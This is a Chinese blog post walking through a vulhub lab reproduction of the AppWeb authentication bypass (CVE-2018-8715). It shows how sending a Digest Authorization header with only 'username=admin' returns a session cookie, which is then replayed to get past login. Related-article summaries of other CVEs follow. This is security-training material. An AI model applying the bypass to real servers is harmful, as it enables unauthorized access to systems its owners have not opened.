AppWeb认证绕过漏洞复现（CVE-2018-8715）

最新推荐文章于 2024-05-22 17:04:08 发布
最新推荐文章于 2024-05-22 17:04:08 发布
阅读量400 收藏 1
点赞数 1
文章标签： web安全 网络安全 linux Powered by 金山文档
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45785324/article/details/128816699
版权

一、启动vulhub靶场环境

开启vulhub靶场，docker ps 查看端口

浏览器查看

靶场8080端口与burpsuit默认端口冲突，需要修改端口

二、抓包修改

提交用户admin，点击登录，抓包

发送到重放器，添加 Authorization: Digest username=admin

我们只提交了用户admin，服务器返回200，并且包含session

三、利用获取到的session

-http-session-=29::http.session::0f6a100e4b43ab064e1501be374440a5

重新抓包进行修改

Authorization: Digest username=admin

-http-session-=29::http.session::0f6a100e4b43ab064e1501be374440a5

username=admin (注意:这行放在Connection: close之后)

发送，认证绕过成功

xiao飞仔
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
AppWeb认证绕过漏洞（CVE-2018-8715）
苏莫
07-17 2073
AppWeb认证绕过漏洞（CVE-2018-8715） 原理 AppWeb可以进行认证配置，其认证方式包括以下三种： basic 传统HTTP基础认证 digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头 form 表单认证 其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没...
AppWeb认证绕过漏洞（CVE-2018-8715）漏洞复现
m0_58596609的博客
02-15 3229
AppWeb认证绕过漏洞（CVE-2018-8715）漏洞复现
Vulhub——CAS 4.1、AppWeb、apisix
最新发布
qq_55202378的博客
05-22 1030
他们没有经过droplet框架的权限验证，导致未授权的攻击者可以导出、导入当前网关的所有配置项，包括路由、服务、脚本等。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。Apache APISIX是一个动态、实时、高性能API网关，而Apache APISIX Dashboard是一个配套的前端面板。，对于digest和form两种认证方式，如果用户传入的密码为null（也就是没有传递密码参数），appweb将因为一个逻辑错误导致直接认证成功，并返回session。，可见需要用户名和密码。
[vulhub]appweb认证绕过漏洞--CVE-2018-8715
haoaaao的博客
04-28 372
0x00 前置 AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写，能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。 AppWeb可以进行认证配置，其认证方式包括以下三种： 1、basic 传统HTTP基础认证 2、digest 改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
2. CVE-2018-15473：这个漏洞涉及到OpenSSH的公钥认证过程。如果攻击者能够操纵公钥文件的顺序，他们可能可以绕过特定的认证限制，从而获取未经授权的访问权限。 3. CVE-2018-15919：这是一个输入验证错误，可能...
IIS "IP and domain restrictions" 绕过漏洞(CVE-2014-4078)
02-09
【该漏洞通过版本比较方式检测，结果可能不准确，需要根据实际情况确认。】Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 "IP and domain restrictions" ...
OpenSSH 用户名枚举漏洞（CVE-2018-15473）.zip
03-06
OpenSSH 7.7及之前版本中存在用户枚举漏洞，该漏洞源于程序会对有效的和无效的用户身份验证请求发出不同的响应。 学习笔记
CVE-2018-18778.docx
07-23
**CVE-2018-18778：mini_httpd任意文件读取漏洞详解** CVE-2018-18778 是一个针对 mini_httpd 服务器的严重安全漏洞，它允许攻击者通过精心构造的HTTP请求来读取服务器上的任意文件。这个漏洞源于 mini_httpd 对于...
Tiki Wiki CMS Groupware 认证绕过漏洞CVE-2020-15906POC
09-04
Tiki Wiki CMS Groupware 认证绕过漏洞CVE-2020-15906POC Tiki Wiki CMS Groupware或简称为Tiki（最初称为TikiWiki）是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, ...
CVE-2018-3191利用exp
01-08
标题"CVE-2018-3191利用exp"涉及的是一个针对WebLogic服务器的安全漏洞，该漏洞被命名为CVE-2018-3191。这个漏洞是由于WebLogic服务器中Spring框架的一个组件处理JNDI（Java Naming and Directory Interface）注入...
CVE-2018-8715(AppWeb认证绕过漏洞)
weixin_51387754的博客
10-26 939
漏洞简介 漏洞编号：CVE-2018-8715 影响版本：7.0.3之前的版本 https://www.cvedetails.com/cve/CVE-2018-8715/ 漏洞产生原因： AppWeb可以进行认证配置，其认证方式包括以下三种： basic 传统HTTP基础认证 digest改进版HTTP基础认证，认证成功后将使用Cookie来保存状态，而不用再传递Authorization头 form 表单认证 其7.0.3之前的版本中，对于digest和form两种认证方式，如果用户传入的密码为nul
Appweb——Embedded Web Server
张同光 (Tongguang Zhang)：Hello everyone !
06-04 711
Appweb——Embedded Web Server
AppWeb认证绕过漏洞（CVE-2018-8715）复现
qq_41132792的博客
05-01 2151
CVE-2018-8715详细复现过程，关于一些知识盲点大家可以去公众号：白安全组 查看往期文章
spring boot 解决Apache Shiro身份认证绕过漏洞（CVE-2023-22602）
06-02
对于Spring Boot项目中的Apache Shiro身份认证绕过漏洞（CVE-2023-22602），可以通过以下步骤进行解决： 1.升级Apache Shiro到1.7.1或更高版本。可以在项目的Maven或Gradle依赖中更新Apache Shiro的版本。 2.检查应用程序的Shiro配置文件，确保已正确配置了身份认证。例如，应该使用密码哈希来存储用户的密码，并使用适当的加密算法来保护密码。 3.禁用Shiro的RememberMe功能，以防止身份验证绕过攻击。可以在Shiro配置文件中添加以下配置： ``` securityManager.rememberMeManager.cookie.enabled = false ``` 这将禁用RememberMe cookie。 4.限制登录尝试次数，以防止暴力攻击。可以使用Spring Security等其他安全框架来实现此功能。 这些措施可以有效地防止Apache Shiro身份认证绕过漏洞（CVE-2023-22602）。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值